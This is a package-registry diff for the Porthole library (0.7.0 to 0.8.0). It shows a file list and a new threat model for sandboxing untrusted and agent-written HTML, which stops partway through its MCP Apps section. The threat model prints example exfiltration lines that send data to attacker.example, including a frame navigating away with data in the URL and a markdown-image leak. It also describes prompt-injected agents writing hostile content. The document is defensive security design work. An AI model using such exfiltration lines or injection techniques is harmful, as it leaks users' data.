@botiverse/porthole 0.7.0 → 0.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (153) hide show
  1. package/README.md +9 -2
  2. package/THIRD_PARTY_NOTICES.md +421 -0
  3. package/dist/bridge/bounded-text.d.ts +34 -0
  4. package/dist/bridge/bounded-text.js +188 -0
  5. package/dist/bridge/bridge.d.ts +25 -5
  6. package/dist/bridge/bridge.js +311 -73
  7. package/dist/bridge/json-data.d.ts +28 -0
  8. package/dist/bridge/json-data.js +86 -0
  9. package/dist/bridge/navigation.d.ts +5 -0
  10. package/dist/bridge/navigation.js +7 -0
  11. package/dist/bridge/refusal.js +1 -0
  12. package/dist/bridge/types.d.ts +32 -1
  13. package/dist/check/page-source.js +1 -1
  14. package/dist/check/page.js +2 -0
  15. package/dist/compile/compile.d.ts +6 -0
  16. package/dist/compile/compile.js +3 -1
  17. package/dist/compile/policy.d.ts +38 -2
  18. package/dist/compile/policy.js +122 -7
  19. package/dist/config/capabilities.d.ts +23 -4
  20. package/dist/config/capabilities.js +12 -2
  21. package/dist/config/schema.d.ts +11 -0
  22. package/dist/config/validate.d.ts +8 -2
  23. package/dist/config/validate.js +28 -6
  24. package/dist/config/warnings.d.ts +20 -0
  25. package/dist/config/warnings.js +25 -0
  26. package/dist/conformance/behavior.js +46 -1
  27. package/dist/conformance/cookies.d.ts +15 -0
  28. package/dist/conformance/cookies.js +80 -0
  29. package/dist/conformance/harness/page.d.ts +1 -0
  30. package/dist/conformance/harness/page.js +9 -2
  31. package/dist/conformance/harness-source.js +1 -1
  32. package/dist/conformance/host-kit.js +5 -1
  33. package/dist/conformance/index.d.ts +10 -0
  34. package/dist/conformance/limits.js +38 -1
  35. package/dist/conformance/runtime.js +10 -0
  36. package/dist/conformance/served.d.ts +2 -0
  37. package/dist/conformance/served.js +737 -4
  38. package/dist/files/paths.js +4 -0
  39. package/dist/guide/gates.d.ts +7 -1
  40. package/dist/guide/gates.js +12 -0
  41. package/dist/guide/guide.js +2 -2
  42. package/dist/guide/runtime.js +11 -3
  43. package/dist/host/create-host.js +49 -37
  44. package/dist/host/pages-of-set.d.ts +43 -0
  45. package/dist/host/pages-of-set.js +196 -0
  46. package/dist/host/types.d.ts +8 -1
  47. package/dist/index.d.ts +5 -4
  48. package/dist/index.js +3 -2
  49. package/dist/mcp/adapter.js +11 -15
  50. package/dist/node/index.d.ts +36 -4
  51. package/dist/node/index.js +402 -101
  52. package/dist/presets/presets.d.ts +16 -8
  53. package/dist/presets/presets.js +39 -8
  54. package/dist/protocol/live-data.d.ts +6 -2
  55. package/dist/protocol/live-data.js +20 -1
  56. package/dist/protocol/mcp-apps.d.ts +13 -2
  57. package/dist/protocol/mcp-apps.js +10 -2
  58. package/dist/protocol/message-text.d.ts +8 -0
  59. package/dist/protocol/message-text.js +29 -0
  60. package/dist/protocol/runtime-calls.js +3 -0
  61. package/dist/protocol/shell-adapter.js +16 -22
  62. package/dist/react/context-notice.d.ts +32 -0
  63. package/dist/react/context-notice.js +28 -0
  64. package/dist/react/dialog.js +62 -18
  65. package/dist/react/frame.d.ts +12 -1
  66. package/dist/react/frame.js +79 -2
  67. package/dist/react/index.d.ts +2 -1
  68. package/dist/react/index.js +2 -1
  69. package/dist/runtime/contract.d.ts +9 -1
  70. package/dist/runtime/contract.js +31 -2
  71. package/dist/runtime/db.d.ts +41 -6
  72. package/dist/runtime/db.js +120 -16
  73. package/dist/runtime/declaration.d.ts +15 -1
  74. package/dist/runtime/declaration.js +184 -87
  75. package/dist/runtime/requests.js +27 -11
  76. package/dist/runtime/types.generated.js +1 -1
  77. package/dist/server/files.d.ts +5 -0
  78. package/dist/server/files.js +22 -7
  79. package/dist/server/host.d.ts +18 -1
  80. package/dist/server/host.js +132 -2
  81. package/dist/server/index.d.ts +1 -1
  82. package/dist/server/index.js +1 -1
  83. package/dist/server/peer.d.ts +4 -0
  84. package/dist/server/peer.js +19 -0
  85. package/dist/server/proxy.d.ts +6 -0
  86. package/dist/server/proxy.js +12 -3
  87. package/dist/server/server.js +113 -26
  88. package/dist/server/types.d.ts +6 -3
  89. package/dist/shell/document.d.ts +8 -0
  90. package/dist/shell/document.js +3 -0
  91. package/dist/shell/runtime.js +361 -14
  92. package/docs/ADOPTING.md +119 -14
  93. package/docs/ARCHITECTURE.md +13 -3
  94. package/docs/DECISIONS.md +1455 -8
  95. package/docs/DESIGN.md +79 -25
  96. package/docs/THREAT_MODEL.md +616 -0
  97. package/package.json +14 -3
  98. package/src/bridge/bounded-text.ts +240 -0
  99. package/src/bridge/bridge.ts +373 -84
  100. package/src/bridge/json-data.ts +95 -0
  101. package/src/bridge/navigation.ts +10 -0
  102. package/src/bridge/refusal.ts +1 -0
  103. package/src/bridge/types.ts +30 -1
  104. package/src/check/page.ts +2 -0
  105. package/src/compile/compile.ts +9 -1
  106. package/src/compile/policy.ts +130 -7
  107. package/src/config/capabilities.ts +22 -3
  108. package/src/config/schema.ts +11 -0
  109. package/src/config/validate.ts +43 -5
  110. package/src/config/warnings.ts +42 -0
  111. package/src/conformance/behavior.ts +54 -1
  112. package/src/conformance/cookies.ts +93 -0
  113. package/src/conformance/harness/page.ts +11 -2
  114. package/src/conformance/host-kit.ts +10 -1
  115. package/src/conformance/index.ts +10 -0
  116. package/src/conformance/limits.ts +39 -1
  117. package/src/conformance/runtime.ts +21 -0
  118. package/src/conformance/served.ts +888 -4
  119. package/src/files/paths.ts +4 -0
  120. package/src/guide/gates.ts +13 -1
  121. package/src/guide/guide.ts +3 -3
  122. package/src/guide/runtime.ts +12 -3
  123. package/src/host/create-host.ts +54 -36
  124. package/src/host/pages-of-set.ts +226 -0
  125. package/src/host/types.ts +15 -1
  126. package/src/index.ts +5 -0
  127. package/src/mcp/adapter.ts +16 -20
  128. package/src/node/index.ts +507 -116
  129. package/src/presets/presets.ts +60 -17
  130. package/src/protocol/live-data.ts +31 -3
  131. package/src/protocol/mcp-apps.ts +11 -2
  132. package/src/protocol/message-text.ts +36 -0
  133. package/src/protocol/runtime-calls.ts +3 -0
  134. package/src/protocol/shell-adapter.ts +27 -23
  135. package/src/react/context-notice.tsx +95 -0
  136. package/src/react/dialog.tsx +77 -17
  137. package/src/react/frame.tsx +101 -0
  138. package/src/react/index.ts +8 -1
  139. package/src/runtime/contract.ts +36 -2
  140. package/src/runtime/db.ts +140 -20
  141. package/src/runtime/declaration.ts +227 -89
  142. package/src/runtime/requests.ts +27 -11
  143. package/src/runtime/types.generated.ts +1 -1
  144. package/src/server/files.ts +29 -11
  145. package/src/server/host.ts +158 -3
  146. package/src/server/index.ts +1 -0
  147. package/src/server/peer.ts +21 -0
  148. package/src/server/proxy.ts +13 -3
  149. package/src/server/server.ts +139 -36
  150. package/src/server/types.ts +6 -3
  151. package/src/shell/document.ts +8 -0
  152. package/src/shell/runtime.ts +361 -14
  153. package/types/runtime/v1/context.d.ts +13 -2
@@ -0,0 +1,616 @@
1
+ # Threat model
2
+
3
+ What Porthole protects, from whom, and where that protection ends. For each way of using it
4
+ (S1–S7), it says what Porthole guarantees, what the host must do itself, and what is not
5
+ guaranteed. [ADOPTING.md](ADOPTING.md) says how to set each one up, and
6
+ [DESIGN.md](DESIGN.md) lists every defense with the test that proves it.
7
+
8
+ **Status.** This describes Porthole 0.8.0 (2026-10-20). A review on 2026-10-19 found gaps, and every
9
+ decision it led to has merged but P096. A note **open until P096** means the gap exists in 0.8.0 and
10
+ P096 is its planned fix; once it merges, the note becomes a guarantee. [§8](#8-fixes-in-flight)
11
+ lists the decisions.
12
+
13
+ ## 1. Two layers
14
+
15
+ Porthole has two layers, and most hosts need only the first.
16
+
17
+ - **The display layer** shows untrusted HTML. It puts the content on an origin that isn't the
18
+ host's, closes its network, runs a shell in its frame, gates the few host functions the content
19
+ may call (send a prompt, open a link, copy text, read the host's data), and writes the agent's
20
+ manual, all from one config. Presets: `inlineWidget`, `liveWidget`, `artifact`, `mcpApp`,
21
+ `url`.
22
+ - **The app runtime** is optional, and off unless a config sets `runtime: "1"`. It lets a page be
23
+ a small app: through `porthole.use(name)` it reaches the host's services (`user`, `comments`,
24
+ `artifact`, `assets`, `db`) for what it declared and what its viewer's level allows. It brings
25
+ the host's backend into the picture: who may call what, per version, revocation, and each
26
+ person's data.
27
+
28
+ A host that only shows content can skip the app runtime, and the parts of this document about it.
29
+ [§7](#7-the-display-layer-and-the-app-runtime) says what each layer guarantees.
30
+
31
+ ## 2. What is protected
32
+
33
+ | Asset | What an attacker wants from it |
34
+ | --- | --- |
35
+ | **The host** | Its DOM, cookies, session and origin: to read the app's data or act as the person in it. |
36
+ | **The person's data** | What the content shows them, and what they type into it. |
37
+ | **The model and its tools** | The model's context, and the power to send prompts and call tools in the person's name. |
38
+ | **The person's trust** | A convincing fake (a sign-in form, an "approve" button) that gets them to act. |
39
+ | **Availability** | Out of scope in the viewer's browser ([§5](#5-out-of-scope)). |
40
+
41
+ ## 3. Who attacks
42
+
43
+ | | Attacker | Their code runs as | Scenarios |
44
+ | --- | --- | --- | --- |
45
+ | (a) | An agent steered by prompt injection, writing hostile content | the content of any display it writes | S1–S4 |
46
+ | (b) | A third-party MCP server | its MCP Apps view | S5 |
47
+ | (c) | The author of a page others open: a public link's author against its visitors, or a page on a sibling label of the same content domain | a served page | S3, S4, S6 |
48
+ | (d) | The app being previewed | an app on a content origin (url mode) | S6 |
49
+ | (e) | Other content on the same page | a sibling frame | S7, and S2 |
50
+
51
+ The agent is itself a trust boundary. What it writes is untrusted, and a library it loads from an
52
+ allowed CDN is no more trusted than its own code: the manual's advice to pin exact versions helps
53
+ the agent, but it is not a wall.
54
+
55
+ ## 4. Two lines of defense
56
+
57
+ 1. **Against attacks on the host: origin isolation.** Content runs on an origin that is never the
58
+ host's: an opaque one (a `srcdoc` frame with `sandbox="allow-scripts"` and nothing else), or
59
+ one of its own on a separate registrable domain (served pages). Same-origin policy then denies
60
+ it the host's DOM, storage, cookies and credentials, and nothing secret of the host's is sent
61
+ into the frame.
62
+ 2. **Against leaking and deceiving: closed egress, gates, and approvals outside the frame.**
63
+ Isolation doesn't stop content from sending out what it was given, or from drawing a fake. So:
64
+ - its network is closed by default: the frame's CSP, the shell's defenses for channels a CSP
65
+ doesn't cover (WebRTC, nested frames, resource hints), and the embedding page's `frame-src`
66
+ against the frame navigating itself away;
67
+ - everything beyond drawing is a host function the config declares, behind gates: a user
68
+ gesture, a person's confirmation, consent, a rate;
69
+ - the host draws its confirmations and consent outside the frame, where content can't draw over
70
+ them.
71
+
72
+ The app runtime adds a third: **the host's API is the wall for its data.** The bridge refuses a
73
+ call the page didn't declare (`undeclared`), or that the viewer's level doesn't allow, before any
74
+ handler runs. The names a page declares in `data` hold with a viewer and without one (P094). The
75
+ host's API checks again, since a call that reaches the API some other way can claim any
76
+ viewer and any declaration.
77
+
78
+ The leak suite attempts each channel in DESIGN.md's table from inside the content, on Chromium,
79
+ WebKit and Firefox, and most defenses have a negative control that takes the defense out to show
80
+ its probes then fail (DESIGN.md § "Egress hardening, each with its test"). CI runs the negative
81
+ controls of the runtime only, and its runner can count a control that didn't run as passed (open
82
+ until P096).
83
+
84
+ ## 5. Out of scope
85
+
86
+ Porthole does not protect against these.
87
+
88
+ - **Availability in the viewer's browser.** Content can loop, allocate without bound, or fill the
89
+ content domain's cookies. Porthole has no watchdog: nothing but the load timeout watches a
90
+ frame, nothing unloads a frame that stops answering, and nothing limits its CPU or memory. An
91
+ opaque frame may share the host page's process (the browser decides), so a loop in it can stall
92
+ the host's tab; a served frame is on another site, which browsers with site isolation put in a
93
+ process of its own. In scope, by contrast: a page or a request that can crash the host's server,
94
+ and a message from content that makes the host's page do unbounded work (SECURITY.md). Through
95
+ Porthole's Node adapter no request ends the process, and on any runtime the issue endpoint reads
96
+ at most 64 KiB of a body (P092). What content sends is read after its gate, into bounded text,
97
+ and nothing it sends throws out of an adapter (P095).
98
+ - **Browser bugs, and what the leak suite doesn't run on.** The walls are the browser's own (the
99
+ sandbox, CSP, same-origin policy, site isolation): a bug in them is outside Porthole. The suite
100
+ runs Chromium, WebKit and Firefox through Playwright; other engines, versions and embedded
101
+ WebViews are untested. Side channels (timing, Spectre-class) are out too: an opaque frame that
102
+ may share the host's process can learn about it that way; domain mode puts content on another
103
+ site, which browsers with site isolation give its own process.
104
+ - **Markdown-image exfiltration in chat renderers** (the EchoLeak and CamoLeak class: a model's
105
+ reply holds `![](https://attacker.example/?q=<secret>)` and the chat loads it). That is the
106
+ chat's own rendering of model text. Porthole's walls apply to HTML handed to a display.
107
+ - **Deceptive content.** Content may draw anything in its frame, a fake sign-in form included.
108
+ Porthole limits where what is typed into it can go and keeps the host's approvals outside the
109
+ frame; it doesn't judge what content shows.
110
+ - **Wrong results.** A chart can plot the wrong numbers, and a report can say false things.
111
+ - **Malicious prompts.** A gated `sendPrompt` hands the host's confirm function the whole text (the
112
+ default dialog shows all of it); whether that text is hostile is not Porthole's call. Nor is text
113
+ content puts in the model's context (S5).
114
+ - **The sense of a confirmed action.** A confirmation is given the call and its arguments. Whether
115
+ doing it is wise is the person's decision, and what the host's handler then does is the host's.
116
+
117
+ ## 6. Scenarios
118
+
119
+ | | Use | Preset and mode | Attackers | Use it today when |
120
+ | --- | --- | --- | --- | --- |
121
+ | [S1](#s1-inline-widgets-in-a-conversation) | Inline widgets in a conversation | `inlineWidget`, opaque | (a) | every page sends `embedderCsp` |
122
+ | [S2](#s2-live-widgets-content-that-reads-the-hosts-data) | Live widgets that read the host's data | `liveWidget` | (a), (e) | as S1, and the page follows S7 |
123
+ | [S3](#s3-private-artifacts) | Private artifacts | `artifact`, domain | (a), (c) | the content domain is the host's alone, the secret is random, `authorize` revokes |
124
+ | [S4](#s4-public-links-and-pages-that-are-apps) | Public links, and pages that are apps | `artifact`, domain, public grants; `runtime` | (a), (c) | the host handles abuse |
125
+ | [S5](#s5-third-party-mcp-apps) | Third-party MCP Apps | `mcpApp` | (b) | the host shows a view's domains |
126
+ | [S6](#s6-previews-of-a-running-app) | Previews of a running app | `url` | (d), (c) | the code is the host's own |
127
+ | [S7](#s7-several-displays-on-one-page) | Several displays on one page | any | (e) | the page follows the composition rule |
128
+
129
+ ### What every host must do
130
+
131
+ Whatever the use:
132
+
133
+ - Send `displays.embedderCsp(…)` (the page's `frame-src`) on every page that shows displays, and
134
+ run `defineHostConformance` against the real page in CI (S1 says why).
135
+ - Keep the default gates. A capability's `gates` in a config replace its defaults whole, even
136
+ `[]`; a preset's `options.capabilities` entry replaces the preset's whole entry, gates included
137
+ (`liveWidget({ capabilities: { readData: {} } })` drops its consent).
138
+ - Give the confirmations and the consent it draws itself the default dialog's protections: drawn
139
+ on the host's page outside every frame, showing the call's whole effect, Cancel focused, and the
140
+ accept button ignoring presses for 500 ms after it opens, so a click meant for the content can't
141
+ land on it. The React binding's dialog does all of this for confirmations; consent is always the
142
+ host's own UI. A copy notice of its own shows what went on the clipboard (S1).
143
+ - Show the text content reports (its errors, a blocked navigation's address, an annotation's
144
+ quoted text) only as text, never as HTML.
145
+ - List every app origin in `appOrigins` (`hostOrigins` in `/server`): only those may frame content,
146
+ and only those are checked against the content domain for a shared site.
147
+ - Under the app runtime, run `defineRuntimeConformance` with `api` in CI (§7).
148
+
149
+ ### S1. Inline widgets in a conversation
150
+
151
+ `presets.inlineWidget`: a card the agent wrote, drawn in an opaque `srcdoc` frame as it streams.
152
+
153
+ **Porthole guarantees**
154
+
155
+ - An opaque origin: `sandbox="allow-scripts"` only, so no forms, popups, downloads, top or parent
156
+ navigation, and nothing of the host's DOM, storage or cookies.
157
+ - A closed network. The frame's CSP has `default-src 'none'`, `connect-src 'none'` (until a
158
+ capability or the egress config names an origin), `form-action 'none'`, `frame-src 'none'`,
159
+ `base-uri 'none'`, `object-src 'none'` and `webrtc 'block'`, and no `'self'` anywhere. Before
160
+ content runs, the shell removes the `RTC*` constructors, drops nested frames, plugins and
161
+ resource hints as they are inserted, and makes `document.open` and `write` throw.
162
+ - While it streams, drafts are drawn inert (no scripts, handlers or navigation); the whole runs
163
+ once.
164
+ - Only the host functions the config declares exist, each behind its default gates:
165
+
166
+ | Host function | Default gates |
167
+ | --- | --- |
168
+ | `sendPrompt` | a user gesture, then the host's confirmation, given the whole text |
169
+ | `openLink` | a gesture and a confirmation; http(s) only, no credentials in the URL |
170
+ | `downloadFile` | a gesture and a confirmation |
171
+ | `copyText` | a gesture, 30 a minute; the host writes the clipboard |
172
+ | `callTool` | a confirmation, 30 a minute |
173
+ | `setModelContext` | 30 a minute, then the host's `show`: the person sees the whole update first |
174
+ | `readData`, `subscribeData` | 120 and 60 a minute (`liveWidget` adds consent) |
175
+ | `reportError` | 10 a minute |
176
+
177
+ - A confirmation needs the host's confirm function: without one, the call is refused (consent and
178
+ `show` likewise). Three declined confirmations in a row mute the display's confirm-gated calls,
179
+ and at most 10 confirmations wait per display: more are refused (P095).
180
+ - Model context (`setModelContext`) goes only once the host's `show` has shown it, after every
181
+ other gate. An update is text blocks and plain JSON, at most 20,000 characters, with no
182
+ invisible characters, and the manual tells the agent it is the content's unconfirmed text,
183
+ never instructions (P100).
184
+ - The shell takes messages only from its parent window, and the host only from its frame's
185
+ window and origin; both validate every message.
186
+ - A frame that navigates is started again, at most three times; the next navigation stops the
187
+ display. A display of a file set may hold such a frame for up to 2 s first, in case it was a page
188
+ of its own set, delivering nothing either way while it waits (P098).
189
+
190
+ **The host must**
191
+
192
+ - Send the page's `frame-src` (`displays.embedderCsp(…)`; `frame-src 'none'` where all displays
193
+ are opaque). An opaque frame can navigate itself away with data in the URL
194
+ (`location = "https://attacker.example/?" + data`): its own CSP can't stop that, and the shell
195
+ gets no navigation events in an opaque origin. The embedding page's `frame-src` is the only
196
+ wall.
197
+ - Run `defineHostConformance` against its real page in CI. It runs the leak probes there, the
198
+ self-navigation ones included, and it is the only check that the page sends that CSP: nothing
199
+ checks it when a display mounts.
200
+ - Keep `anyHttps` off inline widgets: an image URL is a way out (P059).
201
+ - Show what a copy put on the clipboard. The React binding's toast shows at most its first four
202
+ lines and 280 characters; a host's own `copyText` handler replaces the toast, and must show it
203
+ itself.
204
+
205
+ **Not guaranteed**
206
+
207
+ - On a page without that `frame-src`, a widget can send out whatever it was shown.
208
+ - `copyText` needs only a gesture, not a confirmation: a widget can put text the person didn't
209
+ choose on their clipboard when they click in it (pastejacking). The notice above is what tells
210
+ them.
211
+ - Shown isn't read: the person may not look at a model-context update, or not see an injection
212
+ in it for what it is, and characters that draw as a blank (a no-break space, the wide spaces)
213
+ pass, a few bits each, bounded by the length limit (P100, accepted). A host that opts out of
214
+ `show` (`withoutShow: true`) lets content write into the model's turns text nobody saw (S5).
215
+ - The host's gesture check reads its own page's `navigator.userActivation` (in an engine without
216
+ it, the check passes). A gesture shows a moment of intent, not consent: the person may have
217
+ clicked the host a moment before.
218
+ - Availability ([§5](#5-out-of-scope)).
219
+
220
+ ### S2. Live widgets: content that reads the host's data
221
+
222
+ `presets.liveWidget`: an inline widget that shows the host's data, current, as the viewer may see
223
+ it.
224
+
225
+ **Porthole guarantees**, with the preset's defaults (see the host's duties below for what undoes
226
+ them):
227
+
228
+ - No network of its own: the preset refuses an `egress` option and a capability's own `connect`
229
+ or `resource` origins, and the config it returns is frozen (P103). Served, the only scripts it
230
+ may load are Porthole's Chart.js and D3, from its own origin (`/__porthole/lib/`).
231
+ - Data reaches it only through the host: `readData` and `subscribeData`, each behind `consent`
232
+ (asked once per display; without a consent function every data call is refused) and a rate (120
233
+ reads and 60 subscriptions a minute).
234
+ - A refusal tells the widget why (`data: { code, message }`).
235
+ - A result the host pushes with `changed(result)` answers a later read only past `readData`'s own
236
+ gates, as any read does (P094).
237
+ - Served, the shell cancels any navigation of the frame to another document, other than a page of
238
+ its own file set, and tells the host (`navigationBlocked`, where `reportError` is declared).
239
+
240
+ **The host must**
241
+
242
+ - Decide in its handlers what a URI may name, with the viewer's rights: the URI is the content's
243
+ word.
244
+ - Ask for consent in its own UI, and keep the answer per viewer and widget.
245
+ - Send the page's `frame-src`, and show opaque live widgets only on pages that frame no content
246
+ origins (an opaque frame's only wall against navigating away is that `frame-src`).
247
+ - Not build a config of its own from the preset's (`{ ...presets.liveWidget(), egress }`, a
248
+ capability with origins): that config isn't the preset, and opens what it names.
249
+ - Not pass `readData` or `subscribeData` in `options.capabilities` without their gates: an entry
250
+ there replaces the preset's, consent included.
251
+ - Follow the composition rule (S7): no url-mode or `anyHttps` displays on the same page.
252
+
253
+ **Not guaranteed**
254
+
255
+ - What a neighbouring frame does with data handed to it (S7).
256
+ - In an engine without the Navigation API, a served frame's navigation falls back to the page's
257
+ `frame-src`: outside sites stay shut, other content origins don't (P079).
258
+ - `LIBRARY_CDNS` displays are allowed on the same page (ADOPTING.md), but they reach nine
259
+ origins: fetches, scripts, styles, fonts and images to four package CDNs (cdnjs, jsDelivr,
260
+ unpkg, esm.sh), and scripts, styles or fonts from five more (Google Fonts' two, Tailwind's,
261
+ jQuery's and Plotly's). The path of every such request is a narrow channel out, read by that
262
+ CDN's operator (P048). Keep highly sensitive data off pages with them.
263
+
264
+ ### S3. Private artifacts
265
+
266
+ `presets.artifact` with `isolation: "domain"`, served by the host kit to a signed-in viewer.
267
+
268
+ Terms used below: a page's **clean address** is its address on its own content origin, with no
269
+ ticket in it, the one a person opens in a tab or shares (a path on `<label>.<content domain>`). A
270
+ framed page's **sealed files address** is `/__porthole/f/<sealed>/`: the frame's session,
271
+ encrypted into the path, since WebKit keeps no cookie in a frame (P083).
272
+
273
+ **Porthole guarantees**
274
+
275
+ - An origin per storage scope on the content domain, by default a label made from an HMAC of the
276
+ scope under a key derived from the host's secret (120 bits). A label is an address, not a
277
+ secret: a host may name labels itself (`prefixedName`), and access is the ticket's and the
278
+ cookie's job.
279
+ - `createContentHost` refuses a content domain that holds an app origin or may share a site with
280
+ one (`ContentDomainError`), and a served mount refuses a content origin same-site with the app.
281
+ With `health` configured, frames fall back to opaque while the content domain doesn't answer.
282
+ - Access: the host decides, Porthole carries the decision. A ticket of 160 random bits, stored only
283
+ as a hash, used once, good for 60 seconds by default and 600 at most, becomes a signed cookie of
284
+ that origin and instance: `HttpOnly`; `__Host-` under https; `Secure` under https and always in
285
+ a frame; in a frame `SameSite=None; Partitioned`, in a tab `Lax`.
286
+ - Only cookies Porthole set are read as its own: under https only `__Host-porthole-` names, which
287
+ no other label can set; the entered mark names its label. A session names its scope, signed, so
288
+ another label's session is never read as this one's, under https or on loopback (P101).
289
+ - Pages, files and status pages carry their CSP in headers and `X-Robots-Tag: noindex`, and
290
+ `frame-ancestors` names the app's origins only.
291
+ - Files: from the version's manifest only, typed by Porthole's table, `nosniff`; files other than
292
+ pages are `Cross-Origin-Resource-Policy: same-origin`; a file set never registers a service
293
+ worker; a page's CSP opens its own version's path, not its whole origin.
294
+ - With a per-request check (`authorize`), the host decides again on every request; a deny is a
295
+ 403 that says `denied`.
296
+
297
+ **The host must**
298
+
299
+ - Use the content domain for nothing else, and put it on the Public Suffix List when it can
300
+ (P047).
301
+ - Give a secret of at least 32 random bytes (`npx porthole secret`). Porthole checks only its
302
+ length, and where `health` is configured the health route answers with a value derived from it,
303
+ so a guessable secret can be tested offline.
304
+ - Give a per-request check (`authorize`) to revoke: sessions are signed and stateless, so without
305
+ it a cookie is good for its whole life (an hour by default, up to 30 days). Leave its answers
306
+ uncached (the default; `authorizeTtlSeconds` in the host kit) or call `content.forget(…)` when
307
+ revoking, or a cached answer holds for up to that long.
308
+ - Send the page's `frame-src`.
309
+
310
+ **Not guaranteed**
311
+
312
+ - Until the content domain is on the PSL, its labels are same-site with each other (P047), so a
313
+ page on one label can attack another (c). A domain-mode page has `allow-same-origin`, so it can
314
+ set cookies for the whole content domain (in a frame, within what the browser allows a
315
+ third-party frame). `__Host-` keeps them off its sessions' cookies, but:
316
+ - on plain http (loopback dev only) the names have no prefix (WebKit keeps no `Secure` cookie
317
+ on a tab there), so a page can plant a copy of a label's own session or entry nonce, for
318
+ whoever hands it one: they are `HttpOnly` and never sent into a frame (P101);
319
+ - in browsers that refuse no nameless cookie (older than RFC 6265bis), a page can plant a copy
320
+ of a session it holds as `=__Host-porthole-…`; siblings can overflow the cookie jar or the
321
+ header size (denial of service only);
322
+ - enough large cookies make every request from that browser to the content domain too large to
323
+ serve ([§5](#5-out-of-scope)).
324
+ - A sealed files address is a bearer credential for its version's files until the session ends
325
+ (P083): anyone holding it can load them. It opens on its own for its first hour, then only for
326
+ the page's own loads (`Sec-Fetch-Site: same-origin`), which a client outside a browser can claim.
327
+ - A revocation reaches the next request. It doesn't reach a page already running, an open
328
+ WebSocket, pinned files the browser cached (immutable for a year), or assets in bearer mode
329
+ (§7).
330
+
331
+ ### S4. Public links, and pages that are apps
332
+
333
+ A served artifact anyone with its link may open (the host's `access` returns
334
+ `{ anonymous: true }`), possibly under the app runtime. It is the riskiest use: the author may be
335
+ the attacker (c), and its readers are strangers.
336
+
337
+ **Porthole guarantees**
338
+
339
+ - A public grant opens documents, never url-mode apps.
340
+ - A public grant without a `level` has no viewer. Under a runtime, such a page is refused the
341
+ runtime's own host functions (`user`, `comments`, `artifact`, `assets`, `db`) and every method
342
+ above `view`; with a declaration, it reads only the `data` names it declared (P094; a `data`
343
+ without a `resources` list names them all).
344
+ - The page is on a site that isn't the host's (its sibling labels share one until the content
345
+ domain is on the PSL, S3); a label is one DNS label, never of the form IDNA reserves (`xn--`),
346
+ so it is never punycode for another name; pages say `noindex`; a file of a type Porthole
347
+ doesn't know is served as a download.
348
+ - `authorize` is the host's takedown switch.
349
+ - A page opened in a tab of its own has its frame's powers and no more (P099): its CSP header
350
+ carries the frame's sandbox (scripts on its own origin; no popups, forms, downloads, browser
351
+ dialogs, or navigation of another window, its opener's included), and its `Permissions-Policy`
352
+ header denies what the frame's `allow` doesn't grant (camera, microphone, location, full
353
+ screen, passkeys, payments, sharing, the built-in AI models, and every other feature a frame
354
+ lacks by default). The shell adds its own walls there, the only ones on engines that don't apply
355
+ that header (WebKit, Firefox): `window.open` answers null; picture-in-picture windows, devices,
356
+ location, full screen, passkeys, the share sheet and payments (Apple Pay too) are refused at
357
+ once; and its navigation guard stops the page navigating itself away, by `location` (set,
358
+ `assign`, `replace`), a link, `navigation.navigate()` or `open(…, "_self")`. The last three ask
359
+ the guard's rule before they start (WebKit sends a link's and `navigate()`'s request otherwise),
360
+ read the address once, and read it through the platform's own functions, so a page can't
361
+ hand them one address to check and another to go to; a link, in a shadow root too, is followed
362
+ by the shell as it was when clicked, never by the browser as a later listener left it.
363
+ `defineHostConformance`'s `served.domain.tab-*` cases check it through the host's real edge.
364
+
365
+ **The host must**
366
+
367
+ - Add what Porthole doesn't have: a notice that the page is user-made (an interstitial), a way to
368
+ report it, and a takedown process.
369
+ - Keep public grants at `view` or without a level. Porthole sets no ceiling: a public grant may
370
+ carry any level, up to `owner`, and a `user`, and then the page has a viewer at that level.
371
+ - On pages shared with signed-in people, not offer `db` writes and `user`, or gate them with
372
+ `consent` or `confirm` (their defaults are rates only: 600 and 60 a minute).
373
+ - Rate-limit the issue endpoint (`rateLimit`: optional, per process). An anonymous request is
374
+ keyed by an address the client can't set (P092): the socket's peer through Porthole's Node
375
+ adapter, `CF-Connecting-IP` on Workers. Anywhere else, or behind proxies, every anonymous request
376
+ shares one limit unless you set `rateLimit.trustedProxies` (how many proxies append to
377
+ `X-Forwarded-For`; only where the app is reachable through those proxies alone) or
378
+ `rateLimit.key`.
379
+ - Check pages for secrets before publishing them: `lintContent` has no rule for credentials.
380
+ - Pass Porthole's `Content-Security-Policy` and `Permissions-Policy` headers on as they are,
381
+ through any edge or proxy: on a tab they are the page's sandbox.
382
+
383
+ **Not guaranteed**
384
+
385
+ - In a browser without the Navigation API (older Safari and Firefox releases), a page opened in
386
+ a tab can navigate itself away with data in the address (`location = "https://attacker.example/?"
387
+ + whatTheVisitorTyped`): the shell's guard gets no events there, and a tab has no embedding page
388
+ whose `frame-src` would stop it. It can also go to a `blob:` document it wrote itself, where
389
+ the shell never runs: the CSP and its sandbox carry over, the `Permissions-Policy` header and
390
+ the shell's walls don't (WebRTC is there, and a granted location). No CSP directive closes
391
+ either (P099, accepted). A host that must cover such browsers shows public pages in its own
392
+ frame.
393
+ - `db` and `user` reach the author without any network: what viewers write, and `user.get()`'s
394
+ `{ id, name, level }`, the page can read and keep in `db`. Closed egress doesn't cover a channel
395
+ the host itself provides. Give `id` a per-artifact pseudonym (`pseudonymFor`), and decide what
396
+ `name` says.
397
+ - Phishing ([§5](#5-out-of-scope)).
398
+
399
+ ### S5. Third-party MCP Apps
400
+
401
+ `presets.mcpApp` through `/mcp`: a view from an MCP server the host doesn't control (b).
402
+
403
+ **Porthole guarantees**
404
+
405
+ - Porthole implements the host side itself, with one hardened frame: by default an opaque frame
406
+ with the shell's defenses first in the view's document; with `isolation: "domain"`, behind the
407
+ sandbox proxy on a content origin.
408
+ - The view's declared CSP becomes its egress: `connectDomains` to `connect-src`, `resourceDomains`
409
+ to scripts, styles, images, fonts and media. Only exact origins (https or wss; http and ws on
410
+ loopback only) and `*.` wildcards over a domain are taken; a wildcard over a single label or a
411
+ public suffix Porthole knows, and anything else, is dropped. `frameDomains` and `baseUriDomains`
412
+ are ignored. Served, the proxy's CSP comes from what the session carries, signed, never from a
413
+ message.
414
+ - The default gates are stricter than the spec's "MAY": `callTool` needs a confirmation and has a
415
+ rate (30 a minute), `sendPrompt` and `openLink` a gesture and a confirmation. For a view, the
416
+ gesture check is the host's (the shell doesn't speak for an MCP view).
417
+
418
+ **The host must**
419
+
420
+ - Send the page's `frame-src`, as for every display.
421
